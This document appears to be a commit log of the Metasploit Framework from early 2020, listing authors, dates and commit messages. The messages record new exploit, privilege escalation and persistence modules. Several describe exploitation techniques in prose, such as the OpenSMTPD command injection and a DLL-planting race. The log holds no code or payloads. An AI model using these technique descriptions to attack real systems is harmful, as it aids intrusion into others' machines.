h00die c0e34581f2 add external script checker 2020-02-08 15:59:32 -05:00
h00die 3707d4caa6 use default options 2020-02-08 15:31:27 -05:00
mattaberegg a0b6584d19 Added password randomization 2020-02-07 19:14:56 -08:00
mattaberegg e2f2d55ecc Updated check message 2020-02-07 18:34:27 -08:00
mattaberegg 90503b2c61 Documentation cosmetic updates 2020-02-07 18:28:24 -08:00
mattaberegg cb372a54f4 Added info to cleanup message 2020-02-07 16:41:27 -08:00
mattaberegg a05611d756 Improve cleanup functionality 2020-02-07 16:13:25 -08:00
Guillaume Clement 92d2c8f974 Reverting to GPG and original key host. Fixes #12913. 2020-02-07 18:13:59 -05:00
William Vu eab1245eef Update module doc 2020-02-07 12:30:00 -06:00
William Vu a9ae212b27 Replace ForceExploit with AutoCheck mixin 2020-02-07 12:04:57 -06:00
wvu-r7 2ad8a02fd7 Fix version check
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-02-07 10:10:28 -06:00
Metasploit 44030bd784 automatic module_metadata_base.json update 2020-02-07 09:33:38 -06:00
Spencer McIntyre 6557cabd65 Land #12900, add teamviewer password recovery 2020-02-07 10:24:12 -05:00
Spencer McIntyre 5a62630309 Add installation steps to the module docs 2020-02-07 10:20:17 -05:00
Spencer McIntyre cbf0d14666 Fix the store_valid_credentials service info 2020-02-07 10:07:41 -05:00
dwelch-r7 54550dba74 tidied up docs 2020-02-07 14:08:51 +00:00
Metasploit 7472a18493 automatic module_metadata_base.json update 2020-02-07 06:45:35 -06:00
Adam Galway b01f02480f Land #12912, removes and aliases jtr modules 2020-02-07 12:38:26 +00:00
Metasploit 10b49979d4 automatic module_metadata_base.json update 2020-02-07 05:54:21 -06:00
Alan Foster 4dcb2fbd96 Land #12889, Add OpenSMTPD MAIL FROM RCE 2020-02-07 11:43:18 +00:00
ide0x90 7a0bf69eb0 Major refactor, and more complete testing with cmd/unix payloads 2020-02-07 19:34:18 +08:00
William Vu 763dbf5d5d Check WordPress version 2020-02-07 03:14:17 -06:00
William Vu 6c59d7c37c Refactor module 2020-02-07 01:38:11 -06:00
William Vu 3b258eeb19 Refactor plugin editing 2020-02-07 01:10:42 -06:00
blurbdust a5a5ea7ded clean up code, update documentation 2020-02-06 22:27:47 -06:00
wvu-r7 6b48337f3d Land #12917, chmod +x tools/dev/msftidy_docs.rb 2020-02-06 19:48:55 -06:00
William Vu 793d5c3342 chmod +x tools/dev/msftidy_docs.rb
a099481f66 failed to do so.
2020-02-06 19:21:07 -06:00
Spencer McIntyre 0d36c99151 Minor code tweaks for PR 12865 before testing 2020-02-06 17:40:44 -05:00
William Vu 8c07e17912 Update module docs 2020-02-06 15:57:54 -06:00
William Vu 3282ec5c55 Change vprint_status to print_status in mixin 2020-02-06 15:43:45 -06:00
Metasploit 374396e7fe automatic module_metadata_base.json update 2020-02-06 15:30:19 -06:00
bwatters-r7 7f3c0c9314 Land #12906, Add module for CVE-2019-19363
Merge branch 'land-12906' into upstream-master
2020-02-06 15:22:17 -06:00
William Vu 68565f575f Update module doc 2020-02-06 14:55:41 -06:00
Shelby Pace 9a8d9c6c88 check arch 2020-02-06 14:11:42 -06:00
Shelby Pace e736588795 change method of exploitation for reliability
This commit changes a few things:
  1. The module first writes the dll to a
     temp location.
  2. The module writes a batch file to a
     temp location.
  3. The batch file copies the dll until
     the copy command fails (presumably
     because the dll is now in use by
     PrintIsolationHost.exe).
  4. The dropped files are deleted.
  5. Docs updated to reflect changes.
2020-02-06 12:51:36 -06:00
Metasploit ab32336544 Bump version of framework to 5.0.74 2020-02-06 12:06:53 -06:00
William Vu 62c98710ad Reword vulnerable commit range 2020-02-06 11:03:20 -06:00
Jeffrey Martin 208e59999a Allow multiple moved_from deprecations 2020-02-06 10:31:59 -06:00
Jeffrey Martin abd2c3e1fc adjust moved_from calls to original module names 2020-02-06 10:23:53 -06:00
Adam Cammack 995c56098d Allow multiple moved_from deprecations
Each `moved_from` deprecation in a module with more that one will now
print their respective warnings.
2020-02-06 10:23:32 -06:00
dwelch-r7 a704f757b7 fix windows version 2020-02-06 11:22:03 +00:00
dwelch-r7 95941d539e Add docs for windows ssh persistence 2020-02-06 11:19:14 +00:00
William Vu e053ed7a1e Add Msf::Exploit::Expect mixin and refactor again 2020-02-05 21:16:24 -06:00
William Vu 95fa8602bc Refactor modules that use Expect 2020-02-05 21:16:21 -06:00
Guillaume Clement abf56ae748 Updating GPG keys needed for install binaries. Fixes #12913. 2020-02-05 20:47:56 -05:00
mattaberegg edb3aa30f8 Minor style and performance edits 2020-02-05 15:19:06 -08:00
William Vu b98c0c6876 Add module doc 2020-02-05 17:01:58 -06:00
William Vu 81f9fc7608 Refactor arbitrary payload support 2020-02-05 17:01:54 -06:00
Jeffrey Martin 2bb91a2262 remove jtr specific modules that are refactored 2020-02-05 16:52:19 -06:00
William Vu dae06ab0c9 Reword comments in morris_sendmail_debug
Not sure why I used singular, but it was probably reading too much RFC.
2020-02-05 14:23:29 -06:00
Metasploit d30b6b136a automatic module_metadata_base.json update 2020-02-05 13:28:22 -06:00
Shelby Pace a154efa250 Land #12887, add dlink ssdpcgi cmd inject 2020-02-05 13:19:05 -06:00
Shelby Pace 691a18c997 move docs file, add options 2020-02-05 12:58:46 -06:00
Metasploit aad0ab3716 automatic module_metadata_base.json update 2020-02-05 12:50:53 -06:00
bwatters-r7 9db6b5184b Land #12894, Add Windscribe WindscribeService Named Pipe Privilege Escalation
Merge branch 'land-12894' into upstream-master
2020-02-05 12:37:34 -06:00
Adam Galway ddec8a58a1 disables payload padding and describes shell code 2020-02-05 18:09:39 +00:00
William Vu abdcb67189 Merge remote-tracking branch 'origin/pr/20' into feature/opensmtpd 2020-02-05 11:18:06 -06:00
dwelch-r7 31a6e0e396 Add post module for ssh persistence in windows 2020-02-05 16:21:38 +00:00
s1kr10s de25920f30 The written word "through" is modified 2020-02-05 11:53:51 -03:00
s1kr10s 25c23073c8 Modify disclosure URL, remove printf...
...  as stager flavor and silence msftidy error.
2020-02-04 15:20:57 -03:00
tperry-r7 c7b07db88b Land #12904 clean up contributor guide
Land #12904 clean up contributor guide
2020-02-04 11:35:23 -06:00
s1kr10s 5f7004cf7c Remove 'HttpClient', 'Payload' and 'RHOST'; ...
... replace 'Targets' for a new option, and format 'header', as suggested in the review.
2020-02-04 14:04:23 -03:00
Adam Galway d428e00b35 adds additional clarification and spelling changes 2020-02-04 17:02:46 +00:00
William Vu 533c2a0a9d Land #12909, search help if cached results empty 2020-02-04 10:31:14 -06:00
William Vu 593e391e2f Remove redundant else 2020-02-04 10:28:54 -06:00
Metasploit 81c8a810ba automatic module_metadata_base.json update 2020-02-04 10:28:07 -06:00
wvu-r7 dc0c0a2029 Land #12911, beetel_netconfig_ini_bof style fix 2020-02-04 10:19:46 -06:00
William Vu 22a75c7bee Revert "Fix style"
This reverts commit 9f81aeb4ad.
2020-02-04 10:10:46 -06:00
Adam Galway d76546f8ee clarifies inserted shell code's function 2020-02-04 15:14:36 +00:00
Adam Galway 671f2e9616 msfTidy: set disclosure date to proper format 2020-02-04 11:55:39 +00:00
kalba-security 2360b0e2ff clean up module using msftidy 2020-02-04 13:14:03 +02:00
Adam Galway 37065f5ffe PR Changes: More Cleanup 2020-02-04 10:59:02 +00:00
Adam Galway 4fd865f3a9 PR Changes: Comments, fail_with, and cleanup 2020-02-04 10:57:41 +00:00
kalba-security 20386f1aa4 Add apache_activemq_traversal_upload module and documentation 2020-02-04 12:01:41 +02:00
Auxilus c75eab5854 show search help when args and module_search_results are empty 2020-02-04 12:14:33 +05:30
blurbdust 4474b6f6dc fix carriage return and spaces at EOL 2020-02-03 21:54:55 -06:00
blurbdust 13e670ceb3 fix carriage return and spaces at EOL 2020-02-03 21:52:30 -06:00
h00die cca3184b36 update userlist to ubuntu 18.04 lamp 2020-02-03 19:07:08 -05:00
Shelby Pace 772431a29e add documentation 2020-02-03 16:25:16 -06:00
Shelby Pace 303bddbb37 add cleanup code and modified options 2020-02-03 16:24:48 -06:00
blurbdust 5f6c9a265f Fix puts to print_error 2020-02-03 16:11:23 -06:00
Metasploit a34ef6fc92 automatic module_metadata_base.json update 2020-02-03 14:07:28 -06:00
Spencer McIntyre a8dc535b2a Land #12903, add the RDP DOUBLEPULSAR module 2020-02-03 14:58:23 -05:00
b4rtik a89d9cd188 Update reflective_dll_inject.rb 2020-02-03 20:21:16 +01:00
blurbdust f3e6f562a1 add docs, fix module location 2020-02-03 13:16:53 -06:00
Adam Galway 375b13733c cleans up contributer guide 2020-02-03 17:29:58 +00:00
William Vu 7175126319 Update title for smb_doublepulsar_rce 2020-02-03 11:19:20 -06:00
William Vu fa6573f8e7 Note arch in supported target 2020-02-03 11:16:16 -06:00
William Vu a3717e13f6 Unf*ck PAYLOAD being set for neutralization 2020-02-03 11:16:16 -06:00
William Vu e12d993027 Move SMB DOPU module to match new naming scheme 2020-02-03 11:16:16 -06:00
William Vu 4ba0762089 Update module doc with service pack 2020-02-03 11:16:16 -06:00
William Vu f49ee7c60e Prefer exploit.rb's rand_text wrapper 2020-02-03 11:16:16 -06:00
William Vu d64eb10b17 Update credit 2020-02-03 11:16:16 -06:00
William Vu 548529e1d4 Clean up parsing 2020-02-03 11:16:16 -06:00
William Vu 9e690414a1 Update ping response parsing with new information
Found the struct that corresponds to the ping response!
2020-02-03 11:16:16 -06:00
William Vu 6241555531 Fix service pack 2020-02-03 11:16:16 -06:00
William Vu 3074e5bece Update module doc once more 2020-02-03 11:16:16 -06:00
William Vu 2ce49456a7 Fix arch detection and add product type
Thanks to @tsellers-r7 for testing XP and producing output to compare
against. Without a 32-bit test, the architecture guess was incorrect.
Additionally, product type had yet to be determined. The trailing bytes
were indeed significant! Thanks, Tom!
2020-02-03 11:16:16 -06:00
William Vu 992a386ece Use build_data_tpdu and note channelJoinConfirm 2020-02-03 11:16:16 -06:00
William Vu 4d21b0e88e Update prints in check for visibility
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2020-02-03 11:16:16 -06:00
William Vu 51ab58f7c9 Add module doc 2020-02-03 11:16:16 -06:00
William Vu 7ba7221a8f Parse ping response into version, build, and arch 2020-02-03 11:16:16 -06:00
William Vu db1a201885 Add RDP DOUBLEPULSAR RCE module 2020-02-03 11:16:16 -06:00
Adam Galway 2ce3cb9e86 updated description 2020-02-03 17:09:56 +00:00
Shelby Pace 1ef34283eb obtain session unreliably 2020-02-03 11:07:36 -06:00
Adam Galway 6b229177f1 Add crosschex buffer overflow exploit 2020-02-03 17:02:04 +00:00
Metasploit fc1451303a automatic module_metadata_base.json update 2020-02-03 08:59:57 -06:00
dwelch-r7 97f5f37344 Land #12807, Install OpenSSH for Windows 2020-02-03 14:50:30 +00:00
RAMELLA Sébastien c8e5fcf389 add. cmdstager for drop meterpreter 2020-02-03 16:46:15 +04:00
b4rtik 1072694130 Update reflective_dll_inject.rb 2020-02-03 13:04:14 +01:00
RAMELLA Sébastien 355b9c135f add initial source code. 2020-02-03 13:52:56 +04:00
blurbdust 47b3e9cd94 Add new post module for CVE-2019-18988
https://whynotsecurity.com/blog/teamviewer/
2020-02-03 00:15:24 -06:00
mattaberegg 6f453a0f83 Module rewrite to include Cron exploitation 2020-02-02 17:29:39 -08:00
b4rtik 4f94593264 Update reflective_dll_inject.rb 2020-02-02 10:43:54 +01:00
b4rtik 3dd68849c5 Update reflective_dll_inject.rb 2020-02-02 10:08:34 +01:00
b4rtik ca70cc2d27 Update reflective_dll_inject.rb 2020-02-02 01:08:48 +01:00
b4rtik 483c36e54d Update reflective_dll_inject.rb 2020-02-02 00:59:29 +01:00
RageLtMan e2d0d8f011 Cleanup module and permit alternate payload scheme
The original Qualys exploit uses an inline-shell for loop to read
and thereby consume lines from the input stream preceeding the
intended script for execution in the body section. Payloads which
do not contain bad characters (encoded or coincidentally simple)
can be placed directly into the FROM field and executed in place
of the original for loop filter.
2020-02-01 15:04:22 -05:00
Brendan Coles 34621c0adc Add Windscribe WindscribeService Named Pipe Privilege Escalation 2020-02-01 00:41:07 +00:00
Shelby Pace 8d4637a42b can now add printers 2020-01-31 15:07:56 -06:00
tperry-r7 3ffc79aa85 Land #12878, msftidy_docs
Land #12878, msftidy_docs
2020-01-31 11:59:50 -06:00
RageLtMan 312a3466ee Update 2020-7247 to execute from body
Using method from
https://www.openwall.com/lists/oss-security/2020/01/28/3

Attempted several other line readers via awk, while, for. Tried
without pipes or `>` in the strings. It appears other characters
are also illegal (conditional brackets likely culprits).

Initial testing on wide-open-configured opensmtpd on OpenBSD 6.6
libvirt Vagrant image produces shells, python meterpreter sessions,
and executes generic commands.
2020-01-31 04:32:03 -05:00
ide0x90 6504c01668 Made module work with CmdStager 2020-01-31 13:29:04 +08:00
h00die 7ee4d28751 Land #12706, apache userdir docs 2020-01-30 13:48:56 -05:00
h00die b9b6b64f0c cleanup apache userdir docs 2020-01-30 13:48:09 -05:00
Metasploit 2a6409a1bc Bump version of framework to 5.0.73 2020-01-30 12:04:05 -06:00
h00die 2907f4ae16 add default un to my/mssql login 2020-01-30 12:43:18 -05:00
Shelby Pace b05fe7453f add improved check method 2020-01-30 11:40:24 -06:00
Metasploit dca17a8922 automatic module_metadata_base.json update 2020-01-30 05:09:31 -06:00
Christophe De La Fuente 394e99fbe9 Land #12568, Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2020-01-30 11:57:56 +01:00
Metasploit 3f4585e401 automatic module_metadata_base.json update 2020-01-29 23:30:19 -06:00
wvu-r7 bf68730c76 Land #12885, URL reference fix 2020-01-29 23:21:58 -06:00
Spencer McIntyre bf31fb7ca8 Land #12883, add the listm and clearm commands 2020-01-29 17:36:12 -05:00
Spencer McIntyre a1f3834e08 Fix a bug in popm and tweak status messages 2020-01-29 17:35:37 -05:00
cdelafuente-r7 9da4555509 Move clean-up code to cleanup method (#2)
Move clean-up code to cleanup method
2020-01-29 17:11:07 +01:00
William Vu 81b8d5b58a Add OpenSMTPD MAIL FROM RCE 2020-01-29 05:10:43 -06:00
h00die bd48588fd5 catch false positive spaces at eol from code indent 2020-01-28 14:28:18 -05:00
s1kr10s 63612e9647 Add documentation for CVE-2019-20215 exploit 2020-01-28 16:21:34 -03:00
s1kr10s 8e0e21d337 Exploit for CVE-2019-20215
Staged, uses meterpreter
2020-01-28 16:15:24 -03:00
adamgalway-r7 0fc1a9ee5f Merge pull request #12886 from adfoster-r7/update_mailmap
Add adfoster7 to the mail map
2020-01-28 15:32:08 +00:00
Alan Foster 28a2e5126a Add adfoster7 to the mail map 2020-01-28 14:53:23 +00:00
Metasploit 267972a519 automatic module_metadata_base.json update 2020-01-28 03:48:52 -06:00
Tim W d4bd195a3d Land #12871, fix osx/local/persistence removal commands and payload options 2020-01-28 17:39:02 +08:00
Daniel Streefkerk 9314e8b65b Reference URL is broken
The URL http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks redirects to the www.optiv.com homepage.

The correct current URL is https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
2020-01-28 20:35:57 +11:00
Tim W 0b0d4c8633 add x64 option to osx/local/persistence and update removal commands 2020-01-28 17:18:23 +08:00
Jeffrey Martin 1b4ce34243 Land #12882, Update set command help for PAYLOAD by index 2020-01-27 23:17:07 -06:00
William Vu 66b856d562 Add listm/clearm commands to manage module stack 2020-01-27 21:57:15 -06:00
William Vu 9c42ba3042 Show previous module in "previous" command help 2020-01-27 21:41:49 -06:00
William Vu 47baf3e643 Add a period so it doesn't drive me crazy 2020-01-27 21:19:55 -06:00
William Vu 08102f2004 Update set command help for PAYLOAD by index 2020-01-27 19:36:27 -06:00
dwelch-r7 560475ebff Land #12733, Add support for repeated key in vars_post 2020-01-27 10:36:06 +00:00
fpr1m3 551ddc0ce3 Documentation mods. Need output of plugin working 2020-01-26 14:39:22 -08:00
cdelafuente-r7 3491da7da0 Add a random sentinel to close channel when terminates (#1)
* Add a random sentinel to close channel when terminates

* Replace spaces with tabs to be consistent

* Remove unnecessary escaped quotes and use include? instead of regex
2020-01-25 23:30:49 +01:00
Shelby Pace 2414fda288 add initial check/metadata 2020-01-24 16:14:51 -06:00
Metasploit d609b0a265 automatic module_metadata_base.json update 2020-01-24 09:00:57 -06:00
bwatters-r7 0d8d17c63d Land #12736, Add support for PPID spoofing 2020-01-24 08:49:51 -06:00
Metasploit 94bb5b6207 automatic module_metadata_base.json update 2020-01-24 03:39:42 -06:00
Tim W cfffb65a21 Land #12859, update AF_PACKET chocobo_root linux LPE 2020-01-24 17:30:13 +08:00
h00die fcf366e7ce fix up enum_patches 2020-01-23 20:59:20 -05:00
Francesco Soncina 8de8860504 Update Payload Gem and add docs (#5)
Update Payload Gem and add docs
2020-01-24 02:46:46 +01:00
Metasploit a60b44c0ed Bump version of framework to 5.0.72 2020-01-23 12:02:42 -06:00
Christophe De La Fuente dab4291016 Update header name 2020-01-23 18:50:10 +01:00
bwatters-r7 b4a1849ac1 Bump Payloads to 1.3.84 2020-01-23 08:34:08 -06:00
h00die 0c13102432 long lines ok in code blocks 2020-01-22 21:08:32 -05:00
h00die a099481f66 fix logic bug and chmod +x 2020-01-22 19:24:01 -05:00
William Vu 2fc1eb10a8 Add verification steps to module doc 2020-01-22 17:16:41 -06:00
William Vu 10a5e9292e Add description header to module doc 2020-01-22 17:08:26 -06:00
William Vu 88b72e6f2e Update module doc to new standard 2020-01-22 16:48:23 -06:00
Metasploit f4e34d0a42 automatic module_metadata_base.json update 2020-01-22 16:42:45 -06:00
wvu-r7 0f453a11e9 Land #12877, rand_text fix for doublepulsar_rce 2020-01-22 16:40:24 -06:00
h00die 322b3f8a8b msftidy_docs first add 2020-01-22 17:39:48 -05:00
William Vu 355ddba6c9 Prefer exploit.rb's rand_text wrapper 2020-01-22 16:37:36 -06:00
tperry-r7 3518b9465c Merge pull request #12831 from h00die/doc_cleanup
Documentation standardization. This is the first step in standardizing the module documentation.
2020-01-22 14:53:12 -06:00
bwatters-r7 208aa3454f Add documentation and warning for PPID interaction 2020-01-22 13:36:34 -06:00
dwelch-r7 75371ec1e1 Land #12874, Add rand_text* debugging support for ranges 2020-01-22 17:00:22 +00:00
Brent Cook 4770557df4 Land #12873, enable custom cookies in Windows reverse http/https payloads 2020-01-22 09:41:39 -06:00
dwelch-r7 66328675f7 Give flag correct name 2020-01-22 15:23:13 +00:00
Metasploit eb59bb7e99 automatic module_metadata_base.json update 2020-01-22 07:18:14 -06:00
Brent Cook 6f6cc00871 Land #12751, add Linux RDS socket NP deref privesc 2020-01-22 07:08:47 -06:00
Brent Cook 5bccf66dcc handle Ranges with rand_text while in debug mode 2020-01-22 05:31:33 -06:00
h00die 11ed7c9a4b Land #12857, date updates in license and copyright 2020-01-21 17:23:54 -05:00
dwelch-r7 1088448aac Add flags to send custom cookies 2020-01-21 19:29:34 +00:00
Francesco Soncina 06843d0ea5 update removal commands for osx/local/persistence
fixes #12870
2020-01-21 16:53:11 +01:00
Metasploit 7b7f56ec04 automatic module_metadata_base.json update 2020-01-21 08:52:47 -06:00
Shelby Pace ccc7b7747f Land #12773, add NVMS directory traversal 2020-01-21 08:44:14 -06:00
Shelby Pace 231c858383 add target_uri to request 2020-01-21 08:43:19 -06:00
Metasploit 2e33a72d2a automatic module_metadata_base.json update 2020-01-21 07:41:03 -06:00
Shelby Pace e7e42b7a59 Land #12768, add dlink command injection module 2020-01-21 07:37:43 -06:00
İsmail Taşdelen 24af710a4e Update tautulli_shutdown_exec.md 2020-01-21 16:15:13 +03:00
İsmail Taşdelen aefa9f3984 Update tautulli_shutdown_exec.md 2020-01-21 16:15:01 +03:00
İsmail Taşdelen a02f4caabd Update tautulli_shutdown_exec.md 2020-01-21 16:13:09 +03:00
İsmail Taşdelen 7a2fba86f1 Update tautulli_shutdown_exec.md 2020-01-21 16:08:54 +03:00
İsmail Taşdelen e982f0b890 Update tautulli_shutdown_exec.md 2020-01-21 16:07:43 +03:00
İsmail Taşdelen 69fbd195ae Update tautulli_shutdown_exec.md 2020-01-21 16:05:29 +03:00
h00die bc312420ca module doc standardizations 2020-01-20 21:41:32 -05:00
h00die ca59b06fd3 module doc standardizations 2020-01-20 21:26:59 -05:00
mattaberegg c1b66aac77 Updated check function and description 2020-01-20 17:16:45 -08:00
b4rtik 32dafcc9f6 Update reflective_dll_inject.rb 2020-01-20 23:19:03 +01:00
b4rtik 4e75f1862a Update reflective_dll_inject.rb 2020-01-20 23:11:16 +01:00
b4rtik 7cb3ca96e1 Create reflective_dll_inject.rb 2020-01-20 23:07:41 +01:00
b4rtik 34d77e8b11 Align 2020-01-20 22:59:15 +01:00
Christophe De La Fuente daaa8cf857 Add PHP-FPM Underflow RCE module 2020-01-20 20:07:34 +01:00
Dhiraj Mishra 60b5a1791f removing def data
Thanks bcoles
2020-01-20 15:39:45 +04:00
bluesentinelsec 5d7c50e3ed updated to use Msf::Post::Windows::Powershell mixin 2020-01-19 19:51:44 -05:00
mattaberegg 4af14109f5 Grammar change in exploit name 2020-01-19 14:15:11 -08:00
mattaberegg 67ae211845 Grammar change in documentation 2020-01-19 14:14:49 -08:00
mattaberegg d91a166034 Made changes from comments on PR #12858 2020-01-19 13:46:47 -08:00
Brendan Coles 19b1f567b2 Update AF_PACKET chocobo_root Privilege Escalation module 2020-01-19 11:51:01 +00:00
mattaberegg 195d699df0 Add module documentation. 2020-01-18 19:06:59 -08:00
mattaberegg fc1b337c58 Add Apache James 2.3.2 Insecure User Creation Command Injection exploit module. 2020-01-18 19:05:27 -08:00
William Vu 7d486b3374 Update LICENSE and COPYING 2020-01-18 18:45:37 -06:00
William Vu 19fa008b43 Land #12856, whitespace cleanup in cracker lib 2020-01-18 17:58:18 -06:00
William Vu 972cb545f0 Restore the original PLUGIN_FILE contents 2020-01-18 14:57:41 -06:00
h00die 9a376c8d97 tighten whitespace 2020-01-18 14:28:10 -05:00
Brendan Coles 36b6ceb56f Add rds_atomic_free_op_null_pointer_deref_priv_esc (CVE-2018-5333) 2020-01-18 08:34:52 +00:00
Dhiraj Mishra 256855b152 Adding TARGETURI 2020-01-18 13:56:13 +05:30
William Vu 909b298bd9 Land #12790, hashcat -O 2020-01-17 20:37:27 -06:00
William Vu 27ea63ad25 Prefer %w[] instead of %w() 2020-01-17 20:37:12 -06:00
William Vu cbd949927d Add WordPress InfiniteWP Client plugin exploit 2020-01-17 20:12:21 -06:00
William Vu f5c36ffd92 Add methods we'll use to the WordPress mixin 2020-01-17 20:04:23 -06:00
secenv 09801b2507 Add router module/firmware version tested
... under Scenarios, as suggested by @space-r7
2020-01-17 20:57:44 -03:00
secenv 52c7bf6375 Add "Verification Steps"
as suggested by @space-r7.
2020-01-17 20:48:37 -03:00
secenv 7fbdf0ca57 documentation: s/Setup/Vulnerable Application/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:35:27 -03:00
secenv bd8840fb09 documentation: s/Usage/Scenarios/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:32:27 -03:00
secenv c0800f4742 Fix typo in documentation
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:31:47 -03:00
Nicholas Starke ef4b72cc5a Adding EDB reference 2020-01-17 07:49:28 -06:00
İsmail Taşdelen 574bfbed84 add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
2020-01-17 13:57:32 +03:00
fpr1m3 9e66afe3e7 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 22:00:29 -08:00
fpr1m3 299fca4e98 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:54:24 -08:00
fpr1m3 65e2637e29 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:50:43 -08:00
John Kollross 18b0c3b246 Update apache_userdir_enum.md 2020-01-16 23:15:03 -06:00
Metasploit f826d7747d automatic module_metadata_base.json update 2020-01-16 16:21:33 -06:00
Brent Cook 7f74d28245 Land #12845, check for SSL when SSL is not enabled 2020-01-16 16:12:53 -06:00
h00die 1ff12d05ef spelling 2020-01-16 16:31:39 -05:00
Metasploit d5138c8af1 automatic module_metadata_base.json update 2020-01-16 15:23:08 -06:00
Adam Cammack b0d0bac8bd Land #12846, Use new immutable? method 2020-01-16 15:14:26 -06:00
William Vu 60b787bde1 Use new immutable? method in modules 2020-01-16 15:05:11 -06:00
William Vu a31e4034c8 Check SSL in exploit/linux/http/webmin_backdoor 2020-01-16 14:49:13 -06:00
Metasploit 549de0934a automatic module_metadata_base.json update 2020-01-16 14:30:53 -06:00
William Vu 7646e43ccf Land #12776, PROTOCOL option for sunrpc_portmapper 2020-01-16 14:21:22 -06:00
William Vu bb583672bf Fix style 2020-01-16 14:21:09 -06:00
Metasploit 4ddb1204cc automatic module_metadata_base.json update 2020-01-16 14:10:03 -06:00
William Vu 6712458dbd Land #12758, attributes and immutable? methods 2020-01-16 14:01:29 -06:00
Metasploit 45d8e0f4d3 automatic module_metadata_base.json update 2020-01-16 13:35:47 -06:00
William Vu 441d6c3532 Add immutable? wrapper around attributes method 2020-01-16 13:25:09 -06:00
Adam Cammack 47a3d7fa42 Land #12836, Pin internal gem major versions 2020-01-16 13:23:46 -06:00
William Vu 6bb414ed53 Land #12757, _write_file_unix_shell randomization 2020-01-16 13:19:43 -06:00
William Vu c53e7703fc Land #12795, lwp-request CmdStager 2020-01-16 13:17:41 -06:00
William Vu 2a3f7d8b13 Update rex-exploitation to 0.1.22 2020-01-16 13:15:15 -06:00
Adam Cammack 4ee92a1554 Land #12823, Fix Lua bind payloads 2020-01-16 13:13:01 -06:00
Adam Cammack ab5f5ea74a Land #12808, Add job descriptions for UDP handlers 2020-01-16 13:08:19 -06:00
Metasploit ccd9c8f082 automatic module_metadata_base.json update 2020-01-16 12:14:35 -06:00
bwatters-r7 ee5e9dc922 Land #12832, DisablePayloadHandler replace strings with bools
Merge branch 'land-12832' into upstream-master
2020-01-16 12:10:34 -06:00
Metasploit 895099f82e Bump version of framework to 5.0.71 2020-01-16 12:04:20 -06:00
h00die f3c75e93f3 remove tailing double pounds 2020-01-16 11:57:52 -05:00
h00die a9bf72ac8c ## Options ## remove trailing ## 2020-01-16 11:55:13 -05:00
h00die 50881c899a h1 to h2 2020-01-16 11:46:36 -05:00
h00die dc01f2e99b remove s from application 2020-01-16 11:45:10 -05:00
h00die f970ea7963 example output to scenarios 2020-01-16 11:41:12 -05:00
h00die e4013846d3 more standardizations 2020-01-16 11:32:02 -05:00
h00die 947102e2fe sample output to scenarios 2020-01-16 11:15:06 -05:00
h00die b2e0950bba caps 2020-01-16 11:09:29 -05:00
h00die a1978c76a6 fix up spaces on options header 2020-01-16 10:52:13 -05:00
h00die 4b0ab94043 module options to options 2020-01-16 10:49:22 -05:00
h00die 2fff1f66e9 vulnerable application h1 to h2 2020-01-16 10:44:35 -05:00
h00die 3a4209a092 verification to verification steps 2020-01-16 10:41:12 -05:00
h00die c904b9d2f2 scenario to scenarios 2020-01-16 10:36:38 -05:00
Metasploit cebde261ad automatic module_metadata_base.json update 2020-01-16 07:59:59 -06:00
h00die c4d6feb0aa Land #12721, windows post module docs 2020-01-16 08:50:19 -05:00
h00die 9e1bc8afae doc updates 2020-01-16 08:48:31 -05:00
Jeffrey Martin d32c81b322 limit compatible gems in preparation for Rails 5 2020-01-15 15:54:53 -06:00
Metasploit 5c123e5c1d automatic module_metadata_base.json update 2020-01-15 10:26:33 -06:00
Spencer McIntyre 033a0d1868 Land #12782, add the Plantronics LPE module 2020-01-15 11:17:41 -05:00
h00die fa73709b3e documentation standardization 2020-01-14 21:02:53 -05:00
Dave York 7b14442ab0 replace strings with bools 2020-01-14 20:47:27 -05:00
Metasploit 2081215aae automatic module_metadata_base.json update 2020-01-14 17:17:10 -06:00
wvu-r7 2a31319256 Land #12828, enhanced check for Citrix scanner 2020-01-14 17:08:47 -06:00
Metasploit 1c1003ac59 Bump version of framework to 5.0.70 2020-01-14 13:30:44 -06:00
William Vu 0760319ddf Check for whitespace in [global] directive 2020-01-14 11:21:03 -06:00
Metasploit 4327e94b9f automatic module_metadata_base.json update 2020-01-14 11:03:41 -06:00
William Vu 491c36ccaa Land #12827, credit updates to Citrix exploit 2020-01-14 10:54:57 -06:00
William Vu eaeaae7607 Reformat credit 2020-01-14 10:46:04 -06:00
Jeffrey Martin 1cd75d9f40 document additional PoC authors 2020-01-14 10:22:26 -06:00
Metasploit 5251614c3a automatic module_metadata_base.json update 2020-01-14 08:39:17 -06:00
Shelby Pace 429329c45d Land #12801, add WePresent cmd injection module 2020-01-14 08:29:40 -06:00
Jacob Baines 009ec162de Use string interpolation and removed rundant namespace and return statement 2020-01-14 07:52:30 -05:00
Jacob Baines ea6263e6bb Removed redundant return statement 2020-01-14 06:52:24 -05:00
Jacob Baines ecb825ea71 Remove redundant parameters. 2020-01-14 06:40:40 -05:00
Jacob Baines fa661e58ca Unified the POST request into one function. Fixed hardcoding of SSL. Fixed Author formatting. Fixed connection failure check in check function 2020-01-14 06:22:00 -05:00
Jacob Baines 0308f76bbd Switched to vars_post in send_request_cgi and removed unnecessary documentation 2020-01-14 05:42:06 -05:00
L 58a3f88907 update CacheSize 2020-01-14 17:34:47 +08:00
L d6041f1af5 fix bind_lua 2020-01-14 17:10:43 +08:00
Metasploit 1832f3fd8a automatic module_metadata_base.json update 2020-01-14 01:00:16 -06:00
William Vu a1d9985143 Land #12821, exploit/linux/http/webmin_backdoor
Moved from exploit/unix/webapp/webmin_backdoor.
2020-01-14 00:56:28 -06:00
William Vu 5c4189fdb4 Move unix/webapp/webmin_backdoor to linux/http 2020-01-14 00:50:04 -06:00
